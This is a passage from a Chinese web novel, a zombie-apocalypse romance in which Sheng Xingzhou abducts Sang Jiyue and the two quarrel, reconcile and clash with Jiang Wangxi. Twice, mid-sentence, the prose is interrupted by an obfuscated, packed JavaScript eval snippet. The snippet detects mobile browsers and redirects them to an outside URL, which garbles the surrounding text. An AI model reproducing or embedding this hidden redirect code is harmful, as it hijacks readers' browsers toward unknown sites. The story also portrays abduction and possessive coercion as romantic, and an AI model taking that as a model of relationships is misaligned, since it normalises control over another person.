盛星舟并非一时兴起,而是早有预谋,他本以为带走桑寄月最困难的是桑寄月本身,没想到她昨晚会睡得那么死,也正好方便了他。 村庄周围原本密不透风的守卫不知为何也都撤去了,到头来唯一的麻烦竟然是和桑寄月待在一起的江望曦。 他们交了手,盛星舟一心想要带走桑寄月,顾不得其他,挨了一枪之后趁机抱走了桑寄月,绝尘而去。 天蒙蒙亮的时候开始下大雪了,路面视线遮挡,却方便了对这附近都很熟悉的盛星舟,大雪成为江望曦和军方追捕他的屏障,他冒着风雪开了许久的车,直到上午的时候前面的路被倒塌的大树堵住,盛星舟才不得不停车,然后处理伤口。 恰巧桑寄月也睡饱了醒过来了。 一切都在往好的方面发展。 “哪里好?”桑寄月面无表情的反问他,然后不容置疑的说:“盛星舟,现在送我回去。” 盛星舟不为所动,甚至还对桑寄月说:“阿月,你不是很相信命运吗?” 桑寄月不解的看着他。 盛星舟笑了笑,和她说道:“如果你注定接下来的那五年都会和江望曦一起生活,那么我又怎么可能以一人之力将你从村庄里带出来呢?” “换言之,如果命运是既定的,那么我就算是将你带出来了,你终究也会被命运送往江望曦的身边,那你又何必这么着急让我将你送回去?将一切交给命运不好吗?” 盛星舟看着桑寄月,一字一句的说道:“可如果你的身边始终是我,那也是命运使然,阿月,你不是很会接受命运吗?那么又为何不能接受被命运带到你身边的我呢?” 桑寄月半天都没反应过来他这一连串的长篇大论,但她知道盛星舟长本事了,竟然开始忽悠她了。 “你这是诡辩!”桑寄月沉着脸说道,从表情看就知道她此刻的心情非常差。 盛星舟只是顺着他自己的话说下去:“阿月,你知道的,我自始至终,都是为你而来。” 所以他怎么可能容忍桑寄月待在江望曦的身边。 哪怕他们上辈子是亲密无间的恋人,也不可能。 他们都应该,活在当下。 桑寄月懒得理他,她将目光挪向窗外,看见的都是白茫茫的雪景,一片陌生,让她感到非常不安。 盛星舟仍是油盐不进,还得寸进尺,桑寄月猛地看向他,说出的话异常刺耳:“盛星舟,你是要为了一己私利害死我吗?” “阿月,无论江望曦在不在你的身边,你如果尸化必然都是异种丧尸。”盛星舟好声好气的同她说:“既然如此,他的存在就无关紧要了不是么?现在和你的上辈子已经很不一样了,你不需要江望曦。” 桑寄月的声音陡然尖锐了起来:“我不需要江望曦,我就需要你了吗?盛星舟,你算什么东西,你敢拘着我?!” 她气得不行,伸手就去拉车门,但车门已经被锁死,根本拉不开。 盛星舟安静的看着她的动作。 桑寄月看他雷打不动的模样,更是气不打一处来,她随手抽出旁边包里的匕首,抵在了盛星舟的脖颈,沉声说道:“赶紧送我回去!” “那你把我杀了吧。”盛星舟闭上眼,毫无起伏的说道:“等我死了你就能自己开车回去了。” 桑寄月举着匕首,半天都落不下去。 盛星舟看她犹犹豫豫的模样,低笑了一声,踩着桑寄月的底线,将她手里的匕首夺走,反握住她的手,和她说:“舍不得杀我吗?那没办法了,阿月,接下来,你得跟我走。” 桑寄月觉得她被盛星舟拿捏了。 不该是这样的。 无论是什么关系,她都该是主导者。 桑寄月踩着座椅跳到了驾驶位上,压着盛星舟掐着他的脖子,另一只手毫不留情的摁在了他的伤口上,面无表情的说:“你有完没完?我话还说得不够明白吗?盛星舟,你有没有一点自尊的?” “阿月,很疼。”盛星舟虚虚的扶着她的腰,目光垂落到肩胛骨上的那只手,已经将他的伤口摁出了血。 桑寄月只重复:“送我回去!” “除非我死。”盛星舟毫不犹豫的说:“你舍得我死吗?阿月,你不舍得,你对我并非全无感情。” 他伸出手,摁在了她还有些红肿的眼尾:“我知道,你偷偷哭了,你舍不得我的,舍不得我离开,也舍不得我死。” “你是喜欢我的,阿月。” 温热粗糙的指腹落在她眼角的触感前所未有的清晰,他的声音也像是烟花一样,在她的心中炸开。 喜欢。 桑寄月记得昨天江望曦也对她说过类似的话。 喜欢吗。 那又怎么样,这种毫无用处的感情,能给她带来什么吗? 桑寄月心中不屑,她说:“是,我是舍不得你那又怎么样,大福死了我会哭,你走了我也会哭,我只是不习惯而已,但总会习惯的,我现在已经不伤心了。” 盛星舟用清亮的眸子看着桑寄月。 他心中高兴,在她心中,他和大福一样重要。 桑寄月不明白他为什么忽然情绪高涨,她接着说道:“我或许是对你有几分好感,也可能有点喜欢你,但是这种感情对我来说一点用处都没有,我需要的是江望曦而不是你盛星舟。” “你一直说着喜欢我喜欢我,但你的喜欢此刻给我带来的只有困扰,我说我不需要你,你就该老老实实的滚远点,而不是一而再再而三的踩着我的底线行事,这只会让我觉得这种感情毫无用处。” 桑寄月很会说伤人的话,盛星舟轻声问她:“你说你喜欢我?” “我可能是喜欢你,但是……”桑寄月不耐烦的开口。 只是话还没说完,就被盛星舟紧紧的抱住了,他原本就又开始渗血的肩膀随着他的动作,伤口彻底开裂,溢出的鲜血染了他们一身。 心中的喜悦足以盖过疼痛,盛星舟拥着她,滚烫的呼吸喷洒在她的脖颈间,惹得她不适极了。 他很开心的说:“阿月,我就知道你喜欢我,我也超级喜欢你,我们这就算是在一起了哦。” 桑寄月完全没有这个意思。 她忍不住骂:“你是不是有病啊!” 这句话其实是别人经常这么骂她的,她也没想到有一天会用来骂盛星舟。 盛星舟因为包扎伤口,上半身都没有穿,滚烫的躯体只隔着睡裙单薄的布料,温度毫无保留的传到了她的身上,她被他紧紧的抱住,前所未有的浓烈存在感挤压着她的领地,让她非常不舒服。 桑寄月想要推开他,但身后又抵着方向盘,她动都动不了,一时又气又急:“你放手啊。” 盛星舟一动不动,桑寄月越来越生气,用手推他,用指甲挠他,还上嘴咬他,仿佛要将在他这里受的气要在此刻一并讨回来一样。 盛星舟身上立刻多了很多细碎的伤口,泛着一片一片的红,夹杂着伤处被抹开的血液,看着惨不忍睹。 他默不作声的让桑寄月发泄,反正她也折腾不了多久就会没力气,等这口气出了也就好了。 桑寄月的确很快就没力气了,整个人都软了下来,趴在盛星舟的身上喘着粗气,好半天都没缓过来。 盛星舟轻轻的拍着她的后背给她顺气。 桑寄月感受到后背上那只温热的手,还是觉得很生气,扭头就狠狠地咬住他的脖子,在上面留下一个带血的牙印。 “你真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228946|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的很烦人!”桑寄月说着,可能是太生气了,声音都有些哽咽。 盛星舟亲了亲她乌黑柔软的发顶,像是无奈,又像是叹息:“阿月,我如果不死缠烂打,你会彻底放弃我,我不想被你放弃,那我就只能自己争取。” 桑寄月又不吭声了,只时不时的有几滴眼泪掉在他的身上。 “我知道你想要江望曦手里的血清,你仍想被改造成你所说的上辈子那样的强悍身体,让你在面对桑淮时能立于不败之地。”盛星舟又苦口婆心的说道:“可是你也说过,过程很痛苦,而这一次你没有必要再去经受那些痛苦——” “无论你是人类桑寄月,还是桑寄月,这一次你都可以不需要什么药剂,什么血清,原本的你,就已经足够厉害。” “又或许你的状态一直像现在这样好呢?那你也没有必要再变成丧尸,你可以走和上辈子截然不同的路。” “而且我也一定会帮你的,无论你想做什么都可以,只要我们能在一起,我可以为你做任何事。” “你就再选我一次,可以吗?” 桑寄月从没想过她不死在二十岁的可能性。 她之所以顺应命运,是因为她恐惧未知,从前的那两年她自认始终在她的掌握中,所以无关紧要,可是之后,之后的那五年对她至关重要。 她怎么可能将自己交给盛星舟? 她……不可以吗? 桑寄月有些茫然,她也不哭了,脑袋搁在他的肩膀上,看着旁边的伤口发呆。 盛星舟稍稍将她往后推了推,和她对视:“阿月,再试试另一种活法吧。” 桑寄月别开目光,又开始轻微的挣扎了起来。 盛星舟这一次没有再强行圈住她,他松了力道,桑寄月立刻爬回了后座,声音闷闷的说:“你先处理伤口吧。” “你帮我。”盛星舟也往后座坐。 桑寄月看了眼他全是齿痕与抓痕的上半身,一时也生出些许的心虚来,默不作声的帮他擦干净身上的血,然后重新上药包扎,用绷带绑上漂亮的蝴蝶结。 盛星舟时不时的喊一声好疼,桑寄月一开始还以为他在无病呻/吟,但听得多了她还是忍不住问:“真的很疼吗?是伤口疼还是被我抓得咬得疼?” “都很疼。”他有些委屈的说道:“可以亲我一下吗,给我止止痛。” 桑寄月面无表情的盯着他:“你装什么。” “我没有装,真的很疼,你也看到了,我流了很多血。”盛星舟唇色发白,没什么力气的靠在了桑寄月的身上。 桑寄月想把他推开,他软着声音说:“别推开我,让我靠靠嘛,月姐。” 桑寄月的手抬起又放下,半天都没了其他动作。 过了很久,久到盛星舟都快睡着了,桑寄月才妥协一样的开口:“你说的话,我同意了。” 盛星舟眼睛一亮,立刻清醒了过来:“太好了!” “嗯。”桑寄月深深地叹了一口气,说道:“你既然想留在我身边,那就留吧,反正我也很舍不得你。” 盛星舟:“好~” “我会说服哥哥接纳你的,以后我们就三个人一起生活好了,你现在赶紧把我送回去,不然哥哥真的会生气的。” 旁边的盛星舟这一次不吭声了,也不笑了,只幽幽的盯着桑寄月。 桑寄月看向他:“你还有什么不满意的吗?” “你同意的就是这个吗?”盛星舟直起身子,扯过一边干净的毛衣套在身上,遮住了肌肉分明的上半身。 “不然呢?这话不是一开始你先说的吗?”桑寄月不耐烦的说:“还真要我跟你在外面流浪?” “我哄你的。”盛星舟扯了扯唇角,很肯定的告诉桑寄月:“阿月,我很喜欢你,但我的喜欢没那么高尚,我也不是那么有道德的人,所以说,就算你觉得我不是最好的选择,我也不会让你和江望曦双宿双飞。” “你明白吗?” 桑寄月鼓着脸,似乎又要生气了。 她明明都做出那么大的让步,盛星舟未免也太贪心。 “而且——”他声音温柔的纠正桑寄月的说法:“不是流浪,我不会让你挨饿受冻,我们在一起的地方,就是家。” 迎着桑寄月臭臭的表情,盛星舟垂首,在她唇角落下了一个柔软温热的吻。 46. 听话 盛星舟休息了一会儿后去前方挪开障碍物的时候桑寄月在擦嘴。 越野车重新出发平稳前行的时候桑寄月还是在擦嘴。 傍晚他们停车休息的时候桑寄月还是时不时的用手背蹭一下嘴角。 一整天她都显得格外烦躁,时不时的盯着盛星舟嘀咕两句偷偷摸摸不要脸。 盛星舟正在观察外面的地形,他们此时已经又回到了燕城里,只不过这座城市已经沦陷,坍塌的建筑间,除了游荡的丧尸就是异兽。 风雪天,无论是丧尸还是异兽都躲了起来。 这里还在燕城郊区,保险起见今晚还是需要在车上睡一晚,好在车里也不冷,开了空调,就算是没有空调,他也有体温或者异能给桑寄月取暖,不用担心她冷。 已经下了一整天的雪了,他们前行的危险系数很高,但好在也离出发的村庄有很长一段距离,晚上的风雪只会更大,只要今晚江望曦没有追过来,往后想要再赶上来,可就难了。 至少在春天冰雪消融前,江望曦是别想再找到他们。 盛星舟想着,将目光挪向桑寄月,她抱着毯子缩在后座的椅子上打盹,偶尔还是会用手背蹭一下嘴角。 他将车停进倒塌的建筑间停好,然后从驾驶位挪到了后座,捏了下她柔软的脸颊,被桑寄月重重的拍红了手背。 盛星舟毫不在意,还咧着嘴笑着说:“还在回味呢,月姐。” 桑寄月刚要骂,他就将旁边的水杯拧开,凑近了她唇边,让她先喝口水再骂。 水都递到嘴边了,桑寄月还是习惯性的喝了一大口,尝着甜丝丝的,应该是蜂蜜水,她还想再喝一口的时候,盛星舟就把水杯拿走了。 “少喝点水,马上吃晚饭了。” 桑寄月冷哼了一声。 他们此时是在一幢倒塌的大楼间,断壁残垣刚好为他们隔开了头顶和周身的风雪,但温度总体来说还是很低。 盛星舟蹲在避风的角落里,拿出食材和炊具。 今天天冷,他便想着熬一锅鱼汤。 桑寄月在车里无聊,也换上了厚厚的冬衣,然后跳下了车,站在盛星舟的旁边,当着他的面捧着水杯时不时的喝一口。 叛逆又可爱。 盛星舟搬了小马扎摆在旁边,然后问桑寄月:“阿月,会冷吗?” 桑寄月坐了下来,懒洋洋的说:“人不冷,心冷。” 声音柔软,内容带刺。 “那我给你捂捂呢。”盛星舟蹲在她面前,笑眯眯的看着她。 桑寄月:“滚。” 盛星舟很听话的滚去继续做饭了。 桑寄月看着外面的银装素裹,忽然冷不丁的说道:“等我哥哥找过来,你就完蛋了,我这次不会管你。” “舍得吗?”盛星舟顺着她的话反问。 桑寄月捂着眼睛说:“不看就无所谓。” 盛星舟伸长手轻轻的捏了下她纤细的指骨:“真的不看吗?看看我嘛,月姐。” 桑寄月甩开盛星舟的手,看起来一点都不想理他。 晚饭很快就做好了,桑寄月吃了几块鱼肉之后就把碗一推,一副吃饱了的模样,又开始盯着外面的雪景发呆。 她似乎是在认真的思索着什么,盛星舟想问,但他觉得桑寄月肯定张口就是一句在想哥哥什么时候找过来。 想想还是别问了,他又不是真的无所谓。 过了一会儿后,盛星舟将凉得差不多的鱼汤端到桑寄月面前,还是递到她唇边,哄着她喝。 桑寄月勉强喝了两口,然后就怎么也不愿意张口了。 盛星舟也没办法,将剩下来的鱼肉和米饭都解决掉,正要熄灭火把和桑寄月去车上休息的时候,桑寄月开口了。 “我不要睡车上,很闷。”桑寄月指着旁边的那块空地下达指令:“你搭个帐篷,我要睡帐篷里。” “车上有空调,你不会冷。” 桑寄月说:“帐篷里不是有你吗?” 很理所当然,盛星舟也很受用,屁颠屁颠的就去扎帐篷了。 冬夜里黑得很早,他们进帐篷的时候天色就已经很暗了,这片区域也只有他们两人,安静得仿佛落针可闻。 盛星舟受了伤又流了不少血,还开了一天的车,满打满算也有两天一夜没有休息过了,几乎是刚躺下就要睡着。 但桑寄月昨晚睡得很好,今天白天无聊的时候也睡了很久,现在正是精神十足的时候,揪着盛星舟的衣服时不时的和他说两句话。 要么说她养在窗台上的水培玫瑰被冻死了她要重新养,要么说让他明天去给她堆一百个小雪人她要一脚踹飞。 很多没什么实际意义的话。 盛星舟一开始还积极回应,后来实在是太困,说着说着就睡着了。 桑寄月撇了下嘴,轻轻的踹了他一下:“你怎么睡着了,不怕我跑了吗?” 他睡得迷迷糊糊的,听见她的声音,紧紧的搂住了她。 她轻微的挣扎了一下,不太情愿的闭上了眼,尝试入睡。 可能是因为抱得太紧,又可能是因为别的什么原因,反正桑寄月第二天一早是被热醒的。 桑寄月烦躁的推开盛星舟,抢走所有被子,又眯了一会儿后,才打着呵欠爬起来:“给我做饭,盛星舟。” 盛星舟没醒,他好像睡得很沉,又好像是因为帐篷里的温度太高,他整张脸都是红的。 桑寄月坐在他旁边,用手背贴了下他的额头,触手滚烫;再一看肩胛骨上的枪伤,已经发炎了。 发炎引起发热,总而言之他就是生病了。 桑寄月的表情又臭臭的了:“说你没用你还真是没用,竟然又想让我照顾你吗?” 熟睡的人当然不会给她任何回应。 桑寄月翻出了退烧药塞进他嘴里,掰着他的下巴让他咽下去。 药太苦了,他整张脸都皱到了一起。 “竟然还怕吃药。”桑寄月更不屑了:“怕苦又怕疼,完全没有我坚强。” 桑寄月一边说一边重新帮他包扎了一下伤口,啃了半个面包后,她把盛星舟拖上了越野车,然后重新掌握了方向盘。 去哪里呢? 要不就,回去吧。 反正总是要回去的。 …… 盛星舟的身体很好,再加上治疗及时,所以下午的时候就退烧醒过来了。 彼时桑寄月正在吃泡面,辣油将她的嘴唇染得红彤彤亮晶晶的,看见盛星舟终于醒了,她随手将手里的泡面递给他:“饿了吗?给你吃。” 盛星舟:“……” 他爬起来,接过她手里没吃完的泡面,然后扫了一眼车载垃圾桶,里面全是各种零食的包装袋。 盛星舟一时头疼不已:“阿月,你什么时候这么爱吃这些垃圾食品了。” “你不是也吃吗?” “我又不是风吹一下就倒。” 桑寄月高傲的扬着下巴:“我就吃了,少管我。” 她这一年来身体一直都不太好,盛星舟之前变着法的给她做好吃的,不太愿意让她去碰那些零食。 桑寄月本来对零食没什么兴趣的,但盛星舟严防死守的模样反而激发了她的食欲,过去没少偷吃。 后来江望曦来了,桑寄月也就老实了,一副无欲无求乖乖治病的样子。 至于现在被盛星舟抓包也无所谓,他可不敢干涉她,只会给她做更多好吃的。 盛星舟的确管不了她,他要是真能支棱起来桑寄月也不可能在他和在江望曦面前两幅面孔。 他解决了桑寄月留下的半桶泡面,然后将车里的垃圾收拾了一下,全部焚烧掉,才返回车里。 桑寄月坐在驾驶位上,没有启动引擎的想法,因为雪太大了,视线严重受阻,他们已经在这里避了一个小时,她打算等雪稍微小一些,再继续出发。 盛星舟虽然已经退烧,但身体还没有完全恢复,不过他还是从后座挪到了副驾驶上,开始打瞌睡。 桑寄月无聊的蹬了一下腿,忽然就问盛星舟:“你为什么喜欢我?” 盛星舟的瞌睡一下子全飞了。 他有些错愕的看着桑寄月,难掩兴奋:“你终于要和我谈感情了吗?” 桑寄月歪头:“这就是谈感情吗?” “对呀,你以前从来不会这么问我的。”盛星舟肯定的点了点头。 桑寄月只是单纯的想和盛星舟聊天,又忽然很好奇盛星舟为什么这么缠着她不放,她说:“明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240727|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明你以前可怕我了,你还骂我疯婆子,你说你不会喜欢疯婆子的。” 盛星舟:“……我有说过吗?” “有的,我都记得。” 盛星舟觍着脸说:“我没说过,我不记得了。” “为什么不记得?” 当然是因为他真香了啊。 盛星舟伸出手去勾住她的小指:“因为喜欢你。” “可是我还是觉得那时候的你更顺眼。”桑寄月挑剔的看了眼盛星舟,指尖触感温热,她也没计较他又开始不老实的手,只专注的和他说话:“你那个时候可可爱了,眼睛里没有一丝对我的好感,只有崇拜和敬意。” 本来以为是收了个小弟,结果还是一个觊觎她的蠢货。 虽然盛星舟比所有人都强一点点点点。 桑寄月想到什么,立刻问他:“所以你喜欢我什么?” 如果盛星舟说喜欢她漂亮,那他和别的人也没什么区别,她会当场和他翻脸。 如果盛星舟说喜欢她善良,那他可真是眼瞎了,她会当场和他翻脸。 如果盛星舟说喜欢她可爱,那他是在侮辱她,她会当场和他翻脸。 管他说什么……一定要翻脸! 盛星舟似乎是很认真的想了一下,然后回答:“不喜欢才需要理由,喜欢要什么理由。” 桑寄月皱眉。 这个人怎么不按常理出牌的。 盛星舟接着说:“我就是喜欢你,哪怕你整天在我面前提江望曦那个讨人厌的家伙,哪怕你天天想赶我走,我都超级喜欢你。” 桑寄月不知道该怎么回答,这似乎是盛星舟正式的告白? 她不想回应,捡着他最开始的话茬说:“为什么不需要理由,我就有理由的。” “那你喜欢我的理由是什么呢?”盛星舟眼睛一亮,立刻问她。 桑寄月毫不犹豫的说:“你很听话呀。” 盛星舟愣了一下。 桑寄月又一副很苦恼的模样:“不喜欢你的理由也有,你不听话了。” 老是和她对着干,超级讨厌。 “还在想着江望曦吗?想要我听话的把你送回去?这不可能的。”盛星舟一副不在意的态度,但在听见桑寄月说的话的时候,笑容还是难免有些勉强:“阿月,我们未来的日子还很长,你总能找到其他喜欢我的理由的。” 桑寄月慢悠悠的说:“哪里来的很长的日子?你确定吗?” 盛星舟意识到了什么,后知后觉的往车窗外看去,外面白茫茫的一片,难以分辨他们此时究竟是在哪里。 不过桑寄月这么说,她表达的意思也很明显——在他发烧昏迷的期间,她在走返回村庄的路。 盛星舟不确定她是走到了哪里,但如果是折返的话,随时都会有被追上的风险。 见盛星舟面色发白,桑寄月“噗嗤”一笑,然后又非常正经的说道:“我迷路了,不知道这是哪,如果找不到路的话,可能我们今晚就会死掉。” 所以就没有很长的日子了。 桑寄月似乎是这个意思。 盛星舟心绪起伏,他忍不住探过身去,抱住了桑寄月,声音有些闷:“阿月,不要放弃我。” “少废话,赶紧找路啦。” 盛星舟半天才直起身子,拿起一旁的地图去外面找路,等他回来的时候外面的雪都小了,他抖了抖身上的雪,坐回了驾驶位上。 他已经在地图上确定了他们的位置,仍是距离江望曦越来越远。 盛星舟忍不住看了一眼已经搬到副驾驶上开始打瞌睡的桑寄月。 他没有问她究竟是真的迷路了,还是又一次短暂的选择了他。 因为他总觉得如果他问,她一定会毫不犹豫的说是因为前者,如果她要是知道路的话,一定毫不犹豫的开车回去。 毕竟这两天她也一直都在和他反复强调这件事。 盛星舟没打算去自取其辱,他沉默了下来。 桑寄月发觉车里的气氛变得格外安静,忍不住撑起眼皮子瞥了眼盛星舟,心中有些纳闷他怎么忽然又心情不好了。 明明她刚才只是让他找路而已,也没说什么难听的话啊。 烦人的盛星舟,变得奇奇怪怪的。 47. 理由 盛星舟偶尔会变得很奇怪,但大多数时候都和平时没什么区别,看起来又爱笑又没什么脾气的模样。 不过桑寄月自和盛星舟讨论过“喜欢和不喜欢的理由”之后,她也没再怎么提起过江望曦。 他们仍像从前一样相处着。 随着天气越冷越冷,路面上也堆满了厚厚的积雪,这时候再强行行车也不可能了,他们最后在燕城靠近北出口附近的酒店住下。 盛星舟也是有自己的考量的,他去附近踩点的时候,在距离他们十公里左右的位置发现了一座基地,如果缺少日用品或者药品,也能去基地购置。 虽然他们一直处于隐居状态,但盛星舟也并非与世隔绝。 过去的一年里,桑寄月不仅早上睡懒觉,还要睡一整个下午,盛星舟会拼凑着她在休息的零散时间出门。 偶尔是去离他们还算近的基地给桑寄月买牛奶,又或者是仗着不会感染跑去沦陷区杀丧尸取晶核当做货币。 盛星舟问过很多医生关于桑寄月的情况,得到的都是先天弱症,只能养,无法根治的结论,衰弱仿佛是她的宿命。 只是盛星舟不想信命罢了。 所以趁着这附近还有他没有去过的新基地,他想要再去找新的医生,问问有没有可靠的治疗方案。 这天,因为雪下得实在是太大了,盛星舟回家的时候天已经暗了下来。 桑寄月已经睡醒了午觉,正坐在阳台的玻璃门前,盯着阳台上几只胖乎乎的小雪人,是盛星舟给她捏的。 目光随之眺望,在风雪中看见那抹熟悉的身影后,桑寄月才躺回沙发上,见盛星舟进门,她立刻问:“你最近是不是经常不在家?跑哪去了?” 盛星舟便告诉桑寄月距离他们十公里远的地方有个基地,他去基地了。 桑寄月听见“基地”两个字就毫无兴趣的挪开了目光。 盛星舟换下湿衣服后出来给她灌新的热水袋,桑寄月忽然又问:“外面开不了车,你怎么去的?” “走路。”盛星舟将热水袋塞进她怀里。 桑寄月看了眼外面厚厚的积雪,忍不住皱了下眉,然后问:“你去基地做什么?在为以后和我分开后做打算吗?” 桑寄月对于自己的身体比谁都清楚,虽然比上辈子强一些,现在也都还没到行将就木的地步,但也没好到哪里去,无非是时间问题罢了。 她明明都已经接受了她的命运,偏偏盛星舟要掺和进来,搞乱了一切。 这也就算了。 可是这几天她醒过来都看不见他,一问竟然是跑去了基地,还天天往外跑,外面那么大的雪竟然都要去! 病痛让桑寄月变得异常的敏感暴躁,她瞪着盛星舟,看起来很生气。 听见桑寄月的声音,刚想在她旁边坐下的盛星舟动作顿住,他站着,垂眸看着她:“你还在想我们分开吗?” 桑寄月的重点其实不是这个,但盛星舟偏要这样说,她当然也不会去辩解,她只会很无情的说:“不然呢。” “我们不会分开的。”盛星舟仍旧很快的整理好复杂的心情,在桑寄月旁边坐下,帮她拉了拉腿上的毯子,微笑着说:“我说过,除非我死。” 桑寄月冷哼了一声:“那你不说你去做什么了。” 盛星舟:“我去买菜。” 最近的饭菜似乎是丰富精致了许多,虽然桑寄月只挨个尝一口就吃不下了。 她不太信:“那你每天都出门。” 不留在家里陪她玩。 虽然她经常都是在睡觉,那盛星舟也可以陪她一起睡啊。 都强行把她和他绑定了竟然还放心她一个人待在家里,难道不应该时时刻刻都和她黏在一起吗,这让她以后尸化了怎么放得下心来。 “然后顺便去问问医生,看你还能吃什么药。”盛星舟补充。 不过这显然是白费功夫,他没有得到任何有用的治疗方案,但盛星舟如果什么都不做,他会唾弃自己。 既然决定了要改变桑寄月的命运,就该尽他所有的努力。 桑寄月“哦”了声,看起来没那么生气了,半晌又偏过头去和他说道:“你别去了,没什么用的,不如在家陪我玩。” 而且外面那么冷,雪那么大。 盛星舟摸了摸她的脑袋,笑着说:“好,明天不出门。” “只是明天吗?”桑寄月不高兴的问。 盛星舟从空间里拿出一筐娇翠欲滴的草莓,放在茶几上,往她嘴里塞了一颗,慢悠悠的说:“你想的话后天也可以。” 什么玩意,还得她每天留他一下了吗? 桑寄月狠狠地咬着嘴里的草莓,不爽的想。 盛星舟看她吃了两颗大草莓后,就提着篮子要去收起来,不然晚点她又不肯吃晚饭了。 桑寄月:“等等,我还要一颗。” 盛星舟挑挑拣拣的递给了她一颗小草莓。 他将那一小筐草莓放进了厨房,打算开始做晚餐。 桑寄月从沙发上挪到了厨房门口,门口放着一只小马扎,她在小马扎上坐下:“盛星舟。” “想要什么?” 桑寄月说:“你过来,蹲我旁边。” 真是祖宗。 盛星舟心中叹了一声,老老实实的蹲了过去,恰巧能与她平视。 桑寄月抿了下唇,似乎在犹豫怎么开口。 “阿月,你想说什么可以直说,不用顾忌什么。”盛星舟平静的说道。 她还是扭扭捏捏的模样,但盛星舟也没表现出不耐烦,安静的等着她说。 半晌,她用比平时小的声音,不太自在的说:“盛星舟,是不是我说的话伤你的心了,所以你都在偷偷不开心。” 虽然桑寄月觉得她说的是实话,但盛星舟会伤心也很正常。 可她不想看见盛星舟不开心。 盛星舟有些惊诧的看着她。 桑寄月可是从来都不觉得她有什么问题的外耗型人格,现在忽然这么说…… 盛星舟不太习惯,因为桑寄月本不该是如此的。 他想也没想,脱口而出:“没有。” “没有伤心吗?” 盛星舟犹豫了一下,脑袋点不下去。 桑寄月知道答案,然后又问:“没有偷偷不开心吗?” “开心的时候更多。” 桑寄月明白,他真的不开心。 她有些生硬的开口:“你不要伤心,也不要不开心,我以后不说了。” 虽然她的本意是想让盛星舟认清事实。 桑寄月认为她的所有行为都是有理由的,只是可能风格不太适合盛星舟。 那就……不说也没关系,反正好像也不是什么好话。 桑寄月的声音,犹如天籁。 盛星舟明白,她是在安慰他。 他这段时间的确在被一个问题困扰着,来自于桑寄月的不断强调,让他生出一种可怕的疑问—— “如果江望曦找过来,你会毫不犹豫的和他走吗?” “事到如今,我不可能和他共存。” 在他还没意识到的时候,他就这样问了出来。 桑寄月愣了好半天,似乎是答不上来,又似乎是因为答案显而易见,她没说什么,只是将手心里的那颗小草莓塞进了盛星舟嘴里,然后跑掉了。 唇齿间的那颗小草莓,还残留着她掌心的余温,汁水爆开,口腔里甜丝丝的,似乎直接蔓延进了心里。 直到嘴里的甜味散去,盛星舟才回过神来。 …… 盛星舟一直都没有得到那个问题的答案,他也摸不准桑寄月是怎么想的,但因为那颗小草莓,他的确没有再不开心了。 因为桑寄月的要求,盛星舟减少了去基地的频率,但因为要购置新鲜的蔬菜生鲜,他还是会每周抽出一天去基地。 时间悄然流逝,天气也越来越冷,日子仍旧风平浪静的过着,快乐得盛星舟已经可以不再去想江望曦。 又是一周一次的采购日,盛星舟在基地里的时候,就觉得不太对劲,不过因为着急回家,他也没有多想。 在距离住处大概两公里左右的位置,他的脚步倏的顿住。 他确定他在被人跟踪。 盛星舟警惕的朝着四周看,漫天风雪的苍白世界里,走出一道颀长的身影。 男人眼眸湛蓝,凝结成冰,难掩杀意。 他的身后跟随着身着制服、手持枪/支的人。 风雪天出行不易,追踪困难,尤其是桑寄月的气息太淡,就算是有追踪异能的季信都找不到她。 但好在他们还可以追踪盛星舟,找到盛星舟,也就找到桑寄月了。 虽然被盛星舟提前发现,但那也没关系,江望曦会杀了他,然后再去找桑寄月,桑寄月一定就在这附近。 不过江望曦并不打算将时间浪费在盛星舟的身上,跳梁小丑罢了。 他冷漠的说:“射杀。” 身后的人朝着盛星舟一拥而上,江望曦则是扫了一眼四周的建筑,往前走去。 这一段路算是高速了,他们的落脚点只会是服务区里的酒店,距离这里两公里处,就恰好有一家酒店。 江望曦飞快的分析出了桑寄月的落脚点,没去管耳边接连响起的枪声与打斗声,抬脚往酒店的方向走去。 此时还在下着很大的雪,但因为距离酒店已经很近,也能在风雪中隐约看见那建筑物的轮廓。 江望曦稍稍松了一口气,身后却忽然有一阵滚烫的热意传来,他侧身避开,见是盛星舟追了上来,试图用异能攻击他。 盛星舟看起来很狼狈,身上滴答滴答掉下来的血在纯白无暇的积雪上格外显眼,他唇色发白,却没有丝毫惧意。 江望曦有些不耐的皱了下眉。 下一瞬,盛星舟的大脑犹如被千百根针扎了一样,密密麻麻的泛着疼,几乎让他一瞬之间摔倒在地。 是了,桑寄月说过,江望曦也会觉醒异能,而且是极具攻击性精神系异能,看来就是在这段时间觉醒的。 尤其是此刻在江望曦心性无比坚定的情况下,施展的精神系异能。 盛星舟忍着头疼,朝着江望曦冲了上去—— 他害怕,如果让江望曦见到桑寄月,他可能会彻底失去她。 两人又一次交了手,两人身手不向上下,上一次交手盛星舟占了力气大的便宜,但这一次他显然不是江望曦的对手。< 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手术刀沿着脆弱的脖颈落下,划出一道蜿蜒的血线,霎时血流如注。 也正是那一瞬,一切都像是被冻结了一样,凝固的鲜血让那把刀再也无法落下半分。 是桑寄月的水异能。 她小跑着上前,呼吸有些乱,弯腰从江望曦手里夺走了那把手术刀,扔到一边,然后去察看盛星舟的情况。 盛星舟挣扎着睁开眼,朝着她伸出手:“阿月,我……” 不要丢下我。 我在努力成为对你有用的人。 